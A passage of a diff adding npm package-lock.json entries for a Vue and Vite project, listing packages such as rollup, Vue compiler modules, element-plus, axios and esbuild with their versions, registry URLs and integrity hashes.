"https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.59.0.tgz", + "integrity": "sha512-UKFMHPuM9R0iBegwzKF4y0C4J9u8C6MEJgFuXTBerMk7EJ92GFVFYBfOZaSGLu6COf7FxpQNqhNS4c4icUPqxA==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-gnu": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.59.0.tgz", + "integrity": "sha512-laBkYlSS1n2L8fSo1thDNGrCTQMmxjYY5G0WFWjFFYZkKPjsMBsgJfGf4TLxXrF6RyhI60L8TMOjBMvXiTcxeA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-msvc": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.59.0.tgz", + "integrity": "sha512-2HRCml6OztYXyJXAvdDXPKcawukWY2GpR5/nxKp4iBgiO3wcoEGkAaqctIbZcNB6KlUQBIqt8VYkNSj2397EfA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@types/estree": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz", + "integrity": "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/lodash": { + "version": "4.17.24", + "resolved": "https://registry.npmjs.org/@types/lodash/-/lodash-4.17.24.tgz", + "integrity": "sha512-gIW7lQLZbue7lRSWEFql49QJJWThrTFFeIMJdp3eH4tKoxm1OvEPg02rm4wCCSHS0cL3/Fizimb35b7k8atwsQ==", + "license": "MIT" + }, + "node_modules/@types/lodash-es": { + "version": "4.17.12", + "resolved": "https://registry.npmjs.org/@types/lodash-es/-/lodash-es-4.17.12.tgz", + "integrity": "sha512-0NgftHUcV4v34VhXm8QBSftKVXtbkBG3ViCjs6+eJ5a6y6Mi/jiFGPc1sC7QK+9BFhWrURE3EOggmWaSxL9OzQ==", + "license": "MIT", + "dependencies": { + "@types/lodash": "*" + } + }, + "node_modules/@types/web-bluetooth": { + "version": "0.0.20", + "resolved": "https://registry.npmjs.org/@types/web-bluetooth/-/web-bluetooth-0.0.20.tgz", + "integrity": "sha512-g9gZnnXVq7gM7v3tJCWV/qw7w+KeOlSHAhgF9RytFyifW6AF61hdT2ucrYhPq9hLs5JIryeupHV3qGk95dH9ow==", + "license": "MIT" + }, + "node_modules/@vitejs/plugin-vue": { + "version": "5.2.4", + "resolved": "https://registry.npmjs.org/@vitejs/plugin-vue/-/plugin-vue-5.2.4.tgz", + "integrity": "sha512-7Yx/SXSOcQq5HiiV3orevHUFn+pmMB4cgbEkDYgnkUWb0WfeQ/wa2yFv6D5ICiCQOVpjA7vYDXrC7AGO8yjDHA==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.0.0 || >=20.0.0" + }, + "peerDependencies": { + "vite": "^5.0.0 || ^6.0.0", + "vue": "^3.2.25" + } + }, + "node_modules/@volar/language-core": { + "version": "2.4.15", + "resolved": "https://registry.npmjs.org/@volar/language-core/-/language-core-2.4.15.tgz", + "integrity": "sha512-3VHw+QZU0ZG9IuQmzT68IyN4hZNd9GchGPhbD9+pa8CVv7rnoOZwo7T8weIbrRmihqy3ATpdfXFnqRrfPVK6CA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@volar/source-map": "2.4.15" + } + }, + "node_modules/@volar/source-map": { + "version": "2.4.15", + "resolved": "https://registry.npmjs.org/@volar/source-map/-/source-map-2.4.15.tgz", + "integrity": "sha512-CPbMWlUN6hVZJYGcU/GSoHu4EnCHiLaXI9n8c9la6RaI9W5JHX+NqG+GSQcB0JdC2FIBLdZJwGsfKyBB71VlTg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@volar/typescript": { + "version": "2.4.15", + "resolved": "https://registry.npmjs.org/@volar/typescript/-/typescript-2.4.15.tgz", + "integrity": "sha512-2aZ8i0cqPGjXb4BhkMsPYDkkuc2ZQ6yOpqwAuNwUoncELqoy5fRgOQtLR9gB0g902iS0NAkvpIzs27geVyVdPg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@volar/language-core": "2.4.15", + "path-browserify": "^1.0.1", + "vscode-uri": "^3.0.8" + } + }, + "node_modules/@vue/compiler-core": { + "version": "3.5.30", + "resolved": "https://registry.npmjs.org/@vue/compiler-core/-/compiler-core-3.5.30.tgz", + "integrity": "sha512-s3DfdZkcu/qExZ+td75015ljzHc6vE+30cFMGRPROYjqkroYI5NV2X1yAMX9UeyBNWB9MxCfPcsjpLS11nzkkw==", + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.29.0", + "@vue/shared": "3.5.30", + "entities": "^7.0.1", + "estree-walker": "^2.0.2", + "source-map-js": "^1.2.1" + } + }, + "node_modules/@vue/compiler-dom": { + "version": "3.5.30", + "resolved": "https://registry.npmjs.org/@vue/compiler-dom/-/compiler-dom-3.5.30.tgz", + "integrity": "sha512-eCFYESUEVYHhiMuK4SQTldO3RYxyMR/UQL4KdGD1Yrkfdx4m/HYuZ9jSfPdA+nWJY34VWndiYdW/wZXyiPEB9g==", + "license": "MIT", + "dependencies": { + "@vue/compiler-core": "3.5.30", + "@vue/shared": "3.5.30" + } + }, + "node_modules/@vue/compiler-sfc": { + "version": "3.5.30", + "resolved": "https://registry.npmjs.org/@vue/compiler-sfc/-/compiler-sfc-3.5.30.tgz", + "integrity": "sha512-LqmFPDn89dtU9vI3wHJnwaV6GfTRD87AjWpTWpyrdVOObVtjIuSeZr181z5C4PmVx/V3j2p+0f7edFKGRMpQ5A==", + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.29.0", + "@vue/compiler-core": "3.5.30", + "@vue/compiler-dom": "3.5.30", + "@vue/compiler-ssr": "3.5.30", + "@vue/shared": "3.5.30", + "estree-walker": "^2.0.2", + "magic-string": "^0.30.21", + "postcss": "^8.5.8", + "source-map-js": "^1.2.1" + } + }, + "node_modules/@vue/compiler-ssr": { + "version": "3.5.30", + "resolved": "https://registry.npmjs.org/@vue/compiler-ssr/-/compiler-ssr-3.5.30.tgz", + "integrity": "sha512-NsYK6OMTnx109PSL2IAyf62JP6EUdk4Dmj6AkWcJGBvN0dQoMYtVekAmdqgTtWQgEJo+Okstbf/1p7qZr5H+bA==", + "license": "MIT", + "dependencies": { + "@vue/compiler-dom": "3.5.30", + "@vue/shared": "3.5.30" + } + }, + "node_modules/@vue/compiler-vue2": { + "version": "2.7.16", + "resolved": "https://registry.npmjs.org/@vue/compiler-vue2/-/compiler-vue2-2.7.16.tgz", + "integrity": "sha512-qYC3Psj9S/mfu9uVi5WvNZIzq+xnXMhOwbTFKKDD7b1lhpnn71jXSFdTQ+WsIEk0ONCd7VV2IMm7ONl6tbQ86A==", + "dev": true, + "license": "MIT", + "dependencies": { + "de-indent": "^1.0.2", + "he": "^1.2.0" + } + }, + "node_modules/@vue/devtools-api": { + "version": "7.7.9", + "resolved": "https://registry.npmjs.org/@vue/devtools-api/-/devtools-api-7.7.9.tgz", + "integrity": "sha512-kIE8wvwlcZ6TJTbNeU2HQNtaxLx3a84aotTITUuL/4bzfPxzajGBOoqjMhwZJ8L9qFYDU/lAYMEEm11dnZOD6g==", + "license": "MIT", + "dependencies": { + "@vue/devtools-kit": "^7.7.9" + } + }, + "node_modules/@vue/devtools-kit": { + "version": "7.7.9", + "resolved": "https://registry.npmjs.org/@vue/devtools-kit/-/devtools-kit-7.7.9.tgz", + "integrity": "sha512-PyQ6odHSgiDVd4hnTP+aDk2X4gl2HmLDfiyEnn3/oV+ckFDuswRs4IbBT7vacMuGdwY/XemxBoh302ctbsptuA==", + "license": "MIT", + "dependencies": { + "@vue/devtools-shared": "^7.7.9", + "birpc": "^2.3.0", + "hookable": "^5.5.3", + "mitt": "^3.0.1", + "perfect-debounce": "^1.0.0", + "speakingurl": "^14.0.1", + "superjson": "^2.2.2" + } + }, + "node_modules/@vue/devtools-shared": { + "version": "7.7.9", + "resolved": "https://registry.npmjs.org/@vue/devtools-shared/-/devtools-shared-7.7.9.tgz", + "integrity": "sha512-iWAb0v2WYf0QWmxCGy0seZNDPdO3Sp5+u78ORnyeonS6MT4PC7VPrryX2BpMJrwlDeaZ6BD4vP4XKjK0SZqaeA==", + "license": "MIT", + "dependencies": { + "rfdc": "^1.4.1" + } + }, + "node_modules/@vue/language-core": { + "version": "2.2.12", + "resolved": "https://registry.npmjs.org/@vue/language-core/-/language-core-2.2.12.tgz", + "integrity": "sha512-IsGljWbKGU1MZpBPN+BvPAdr55YPkj2nB/TBNGNC32Vy2qLG25DYu/NBN2vNtZqdRbTRjaoYrahLrToim2NanA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@volar/language-core": "2.4.15", + "@vue/compiler-dom": "^3.5.0", + "@vue/compiler-vue2": "^2.7.16", + "@vue/shared": "^3.5.0", + "alien-signals": "^1.0.3", + "minimatch": "^9.0.3", + "muggle-string": "^0.4.1", + "path-browserify": "^1.0.1" + }, + "peerDependencies": { + "typescript": "*" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/@vue/reactivity": { + "version": "3.5.30", + "resolved": "https://registry.npmjs.org/@vue/reactivity/-/reactivity-3.5.30.tgz", + "integrity": "sha512-179YNgKATuwj9gB+66snskRDOitDiuOZqkYia7mHKJaidOMo/WJxHKF8DuGc4V4XbYTJANlfEKb0yxTQotnx4Q==", + "license": "MIT", + "dependencies": { + "@vue/shared": "3.5.30" + } + }, + "node_modules/@vue/runtime-core": { + "version": "3.5.30", + "resolved": "https://registry.npmjs.org/@vue/runtime-core/-/runtime-core-3.5.30.tgz", + "integrity": "sha512-e0Z+8PQsUTdwV8TtEsLzUM7SzC7lQwYKePydb7K2ZnmS6jjND+WJXkmmfh/swYzRyfP1EY3fpdesyYoymCzYfg==", + "license": "MIT", + "dependencies": { + "@vue/reactivity": "3.5.30", + "@vue/shared": "3.5.30" + } + }, + "node_modules/@vue/runtime-dom": { + "version": "3.5.30", + "resolved": "https://registry.npmjs.org/@vue/runtime-dom/-/runtime-dom-3.5.30.tgz", + "integrity": "sha512-2UIGakjU4WSQ0T4iwDEW0W7vQj6n7AFn7taqZ9Cvm0Q/RA2FFOziLESrDL4GmtI1wV3jXg5nMoJSYO66egDUBw==", + "license": "MIT", + "dependencies": { + "@vue/reactivity": "3.5.30", + "@vue/runtime-core": "3.5.30", + "@vue/shared": "3.5.30", + "csstype": "^3.2.3" + } + }, + "node_modules/@vue/server-renderer": { + "version": "3.5.30", + "resolved": "https://registry.npmjs.org/@vue/server-renderer/-/server-renderer-3.5.30.tgz", + "integrity": "sha512-v+R34icapydRwbZRD0sXwtHqrQJv38JuMB4JxbOxd8NEpGLny7cncMp53W9UH/zo4j8eDHjQ1dEJXwzFQknjtQ==", + "license": "MIT", + "dependencies": { + "@vue/compiler-ssr": "3.5.30", + "@vue/shared": "3.5.30" + }, + "peerDependencies": { + "vue": "3.5.30" + } + }, + "node_modules/@vue/shared": { + "version": "3.5.30", + "resolved": "https://registry.npmjs.org/@vue/shared/-/shared-3.5.30.tgz", + "integrity": "sha512-YXgQ7JjaO18NeK2K9VTbDHaFy62WrObMa6XERNfNOkAhD1F1oDSf3ZJ7K6GqabZ0BvSDHajp8qfS5Sa2I9n8uQ==", + "license": "MIT" + }, + "node_modules/@vueuse/core": { + "version": "12.0.0", + "resolved": "https://registry.npmjs.org/@vueuse/core/-/core-12.0.0.tgz", + "integrity": "sha512-C12RukhXiJCbx4MGhjmd/gH52TjJsc3G0E0kQj/kb19H3Nt6n1CA4DRWuTdWWcaFRdlTe0npWDS942mvacvNBw==", + "license": "MIT", + "dependencies": { + "@types/web-bluetooth": "^0.0.20", + "@vueuse/metadata": "12.0.0", + "@vueuse/shared": "12.0.0", + "vue": "^3.5.13" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/@vueuse/metadata": { + "version": "12.0.0", + "resolved": "https://registry.npmjs.org/@vueuse/metadata/-/metadata-12.0.0.tgz", + "integrity": "sha512-Yzimd1D3sjxTDOlF05HekU5aSGdKjxhuhRFHA7gDWLn57PRbBIh+SF5NmjhJ0WRgF3my7T8LBucyxdFJjIfRJQ==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/@vueuse/shared": { + "version": "12.0.0", + "resolved": "https://registry.npmjs.org/@vueuse/shared/-/shared-12.0.0.tgz", + "integrity": "sha512-3i6qtcq2PIio5i/vVYidkkcgvmTjCqrf26u+Fd4LhnbBmIT6FN8y6q/GJERp8lfcB9zVEfjdV0Br0443qZuJpw==", + "license": "MIT", + "dependencies": { + "vue": "^3.5.13" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/alien-signals": { + "version": "1.0.13", + "resolved": "https://registry.npmjs.org/alien-signals/-/alien-signals-1.0.13.tgz", + "integrity": "sha512-OGj9yyTnJEttvzhTUWuscOvtqxq5vrhF7vL9oS0xJ2mK0ItPYP1/y+vCFebfxoEyAz0++1AIwJ5CMr+Fk3nDmg==", + "dev": true, + "license": "MIT" + }, + "node_modules/async-validator": { + "version": "4.2.5", + "resolved": "https://registry.npmjs.org/async-validator/-/async-validator-4.2.5.tgz", + "integrity": "sha512-7HhHjtERjqlNbZtqNqy2rckN/SpOOlmDliet+lP7k+eKZEjPk3DgyeU9lIXLdeLz0uBbbVp+9Qdow9wJWgwwfg==", + "license": "MIT" + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "license": "MIT" + }, + "node_modules/axios": { + "version": "1.13.6", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.13.6.tgz", + "integrity": "sha512-ChTCHMouEe2kn713WHbQGcuYrr6fXTBiu460OTwWrWob16g1bXn4vtz07Ope7ewMozJAnEquLk5lWQWtBig9DQ==", + "license": "MIT", + "dependencies": { + "follow-redirects": "^1.15.11", + "form-data": "^4.0.5", + "proxy-from-env": "^1.1.0" + } + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/birpc": { + "version": "2.9.0", + "resolved": "https://registry.npmjs.org/birpc/-/birpc-2.9.0.tgz", + "integrity": "sha512-KrayHS5pBi69Xi9JmvoqrIgYGDkD6mcSe/i6YKi3w5kekCLzrX4+nawcXqrj2tIp50Kw/mT/s3p+GVK0A0sKxw==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/call-bind-apply-helpers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", + "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "license": "MIT", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/copy-anything": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/copy-anything/-/copy-anything-4.0.5.tgz", + "integrity": "sha512-7Vv6asjS4gMOuILabD3l739tsaxFQmC+a7pLZm02zyvs8p977bL3zEgq3yDk5rn9B0PbYgIv++jmHcuUab4RhA==", + "license": "MIT", + "dependencies": { + "is-what": "^5.2.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/mesqueeb" + } + }, + "node_modules/csstype": { + "version": "3.2.3", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", + "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==", + "license": "MIT" + }, + "node_modules/dayjs": { + "version": "1.11.20", + "resolved": "https://registry.npmjs.org/dayjs/-/dayjs-1.11.20.tgz", + "integrity": "sha512-YbwwqR/uYpeoP4pu043q+LTDLFBLApUP6VxRihdfNTqu4ubqMlGDLd6ErXhEgsyvY0K6nCs7nggYumAN+9uEuQ==", + "license": "MIT" + }, + "node_modules/de-indent": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/de-indent/-/de-indent-1.0.2.tgz", + "integrity": "sha512-e/1zu3xH5MQryN2zdVaF0OrdNLUbvWxzMbi+iNA6Bky7l1RoP8a2fIbRocyHclXt/arDrrR6lL3TqFD9pMQTsg==", + "dev": true, + "license": "MIT" + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/dunder-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/element-plus": { + "version": "2.13.5", + "resolved": "https://registry.npmjs.org/element-plus/-/element-plus-2.13.5.tgz", + "integrity": "sha512-dmY24fhSREfZN/PuUt0YZigMso7wWzl+B5o+YKNN15kQIn/0hzamsPU+ebj9SES0IbUqsLX1wkrzYmzU8VrVOQ==", + "license": "MIT", + "dependencies": { + "@ctrl/tinycolor": "^4.2.0", + "@element-plus/icons-vue": "^2.3.2", + "@floating-ui/dom": "^1.0.1", + "@popperjs/core": "npm:@sxzz/popperjs-es@^2.11.7", + "@types/lodash": "^4.17.20", + "@types/lodash-es": "^4.17.12", + "@vueuse/core": "12.0.0", + "async-validator": "^4.2.5", + "dayjs": "^1.11.19", + "lodash": "^4.17.23", + "lodash-es": "^4.17.23", + "lodash-unified": "^1.0.3", + "memoize-one": "^6.0.0", + "normalize-wheel-es": "^1.2.0" + }, + "peerDependencies": { + "vue": "^3.3.0" + } + }, + "node_modules/entities": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/entities/-/entities-7.0.1.tgz", + "integrity": "sha512-TWrgLOFUQTH994YUyl1yT4uyavY5nNB5muff+RtWaqNVCAK408b5ZnnbNAUEWLTCpum9w6arT70i1XdQ4UeOPA==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.12" + }, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/es-define-property": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-object-atoms": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz", + "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-set-tostringtag": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", + "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/esbuild": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz", + "integrity": "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=18" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.25.12", + "@esbuild/android-arm": "0.25.12", + "@esbuild/android-arm64": "0.25.12", + "@esbuild/android-x64": "0.25.12", + "@esbuild/darwin-arm64": "0.25.12", + "@esbuild/darwin-x64": "0.25.12", + "@esbuild/freebsd-arm64": "0.25.12", + "@esbuild/freebsd-x64": "0.25.12", + "@esbuild/linux-arm": "0.25.12", + "@esbuild/linux-arm64": "0.25.12", + "@esbuild/linux-ia32": "0.25.12", + "@esbuild/linux-loong64": "0.25.12", + "@esbuild/linux-mips64el": "0.25.12", + "@esbuild/linux-ppc64": "0.25.12", + "@esbuild/linux-riscv64": "0.25.12", + "@esbuild/linux-s390x": "0.25.12", + "@esbuild/linux-x64": "0.25.12", + "@esbuild/netbsd-arm64": "0.25.12", + "@esbuild/netbsd-x64": "0.25.12", + "@esbuild/openbsd-arm64": "0.25.12", + "@esbuild/openbsd-x64": "0.25.12", + "@esbuild/openharmony-arm64": "0.25.12", + "@esbuild/sunos-x64": "0.25.12", + "@esbuild/win32-arm64": "0.25.12", + "@esbuild/win32-ia32": "0.25.12", + "@esbuild/win32-x64": "0.25.12" + } + }, + "node_modules/estree-walker": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-2.0.2.tgz", + "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==", + "license": "MIT" + }, + "node_modules/fdir": { + "version": "6.5.0", + "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", + "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "picomatch": "^3 || ^4" + }, + "peerDependenciesMeta": { + "picomatch": { + "optional": true + } + } + }, + "node_modules/follow-redirects": { + "version": "1.15.11", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.11.tgz", + "integrity": "sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==", + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/RubenVerborgh" + } + ], + "license": "MIT", + "engines": { + "node": ">=4.0" + }, + "peerDependenciesMeta": { + "debug": { + "optional": true + } + } + }, + "node_modules/form-data": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.5.tgz", + "integrity": "sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==", + "license": "MIT", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "es-set-tostringtag": "^2.1.0", + "hasown": "^2.0.2", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-intrinsic": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", + "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "function-bind": "^1.1.2", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", + "license": "MIT", + "dependencies": { + "has-symbols": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/hasown": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", + "integrity": 